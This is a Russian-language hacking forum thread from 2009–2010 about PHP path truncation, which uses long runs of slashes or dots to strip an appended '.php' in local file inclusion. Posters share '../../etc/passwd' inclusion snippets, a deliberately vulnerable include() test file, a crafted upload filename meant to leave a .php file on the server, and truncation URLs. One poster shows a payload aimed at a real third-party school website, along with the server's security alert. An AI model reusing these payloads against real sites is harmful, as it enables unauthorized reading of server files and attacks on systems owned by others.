09.11.2009, 20:39
Прошу прощение за поднятия темы, тестил я сабж, работает!
Тестил под виндой:
//////////////////////////////[...]
Конфигурация:
Apache 2.2
PHP 5.2.4

Root-access
09.11.2009, 22:49
А на ngnix/light httpd работает? Может бага апача? Нет возможности проверить. У кого есть возможность отпишитесь


На nginx ограничение что-то вроде 4079 символов после /, т.е. http://localhost/[4079 символов], значит работать не будет. Кстати в этом месте в nginx есть переполнение, в сентябре нашли.

budden
31.01.2010, 21:56
На lighttpd, кстати, тоже работает, пробовал добавлять "/././././." - до 4096 или чуть выше и проинклудилось удачно.

точные версии:
PHP 5.2.4-2ubuntu5.10 with Suhosin-Patch 0.9.6.2 (cgi-fcgi) (built: Jan 6 2010 21:53:15)
lighttpd-1.4.19 (ssl) Build-Date: Apr 6 2008 00:38:33

budden
16.02.2010, 12:12
А кто-нибудь проверял как эта техника работает с file_exists()?
Эта функция подвержена обычному null-byte, однако данной техникой я не смог ее обойти на своей системе..
$filename = 'your-some-real-dir/../../../../../../../etc/passwd'.str_repeat("/.", 2020).'soap.php';
if (file_exists($filename)) {
echo "The file $filename exists";
include($filename);
} else {
echo "The file $filename does not exist";
}

Nek1t
15.03.2010, 22:33
Мб туповатый вопрос, но при
[...]
$imageName = $_FILES['myImage']['name'];
move_uploaded_file($_FILES['myImage']['tmp_name'], "images/" . $imageName);
[...]
этот баг сработает?

Root-access
15.03.2010, 23:13
А кто-нибудь проверял как эта техника работает с file_exists()?
Эта функция подвержена обычному null-byte, однако данной техникой я не смог ее обойти на своей системе..
$filename = 'your-some-real-dir/../../../../../../../etc/passwd'.str_repeat("/.", 2020).'soap.php';
if (file_exists($filename)) {
echo "The file $filename exists";
include($filename);
} else {
echo "The file $filename does not exist";
}

Хм, у меня тоже не сработало, значит функция file_exists() не подвержена уязвимости.

U.P.D. Но возможно многие функции, работающие с файлами подвержены. Надо найти причину в исходниках.

Мб туповатый вопрос, но при
[...]
$imageName = $_FILES['myImage']['name'];
move_uploaded_file($_FILES['myImage']['tmp_name'], "images/" . $imageName);
[...]
этот баг сработает?
Хм, по идее нет, проверю - отпишу... А вообще...

Надо сначала научиться создавать файлы с длиной имени в 4096 символов)

Nek1t
15.03.2010, 23:24
Надо сначала научиться создавать файлы с длиной имени в 4096 символов)
--UPLOAD_DATA_8CA3
Content-Disposition: form-data; name=file; filename=pwnd.php[//////].jpg
Content-Type: image/jpeg
Content-Transfer-Encoding: binary

Root-access
16.03.2010, 01:18
--UPLOAD_DATA_8CA3
Content-Disposition: form-data; name=file; filename=pwnd.php[//////].jpg
Content-Type: image/jpeg
Content-Transfer-Encoding: binary

Нет, этот трюк не выходит. То есть если писать набор слешей, они воспринимаются, как переход к новой директории, и расширение не обрезается. Если писать точки, тоже не выходит...

Strilo4ka
20.03.2010, 05:52
win xp sp2
Server API Apache 2.0 Handler
PHP Version 5.3.1
Apache/2.2.4
allow_url_fopen On
allow_url_include Off

1.php
include ($_GET['f'].'.php');

if($yes)
{
echo '<br>использовано ".": '.strlen($_GET['f']);
}

lol.txt
12345
<?$yes=1?>

Инклуд с текущего каталога!
http://localhost/include/1.php?f=lol.txt[.]
http://localhost/include/1.php?f=lol.txt[%20]
http://localhost/include/1.php?f=lol.txt[%22]
http://localhost/include/1.php?f=lol.txt[.%20]


За пределы!
http://localhost/include/1.php?f=inc/lol.txt[.]
etc

(:чтоб была ясна - не работает баг!

(Dm)
24.04.2010, 23:07
Strilo4ka не совсем понял что ты имела ввиду. есть такая вещь как php suhosin patch.
с последними версиями этого патча. ни нул байт не работает, ни обрезание строк.

попугай
25.04.2010, 04:00
Strilo4ka, в php 5.3+ бага закрыта

kfor
14.05.2010, 11:37
PHP Version 4.4.9
Linux
Apache 2.*
Никак не могу отбросить .php но блин как чувствую должно работать, кто нибудь эксперементировал на подобной версии?

547
04.06.2010, 15:31
зачастую бывает просто пишет "превышен лимит значений" и все:) и ничего интерестного просто непроисходит....

http://www.sman1-tasik.sch.id/index.php?exec=/home/sloki/user/h21071/sites/sman1-tasik.sch.id/www/theme/Demo/index.php////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

ALERT - configured GET variable value length limit exceeded - dropped variable 'exec' (attacker '00.000.000.000', file '/s/www.sman1-tasik.sch.id/www/index.php') X-Powered-By: PHP/5.2.6-1+lenny8 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: maxrow=20; expires=Fri, 03-Jun-2011 17:00:00 GMT Set-Cookie: uselang=Indonesia; expires=Fri, 03-Jun-2011 17:00:00 GMT Set-Cookie: theme=Demo; expires=Fri, 03-Jun-2011 17:00:00 GMT Content-type: text/html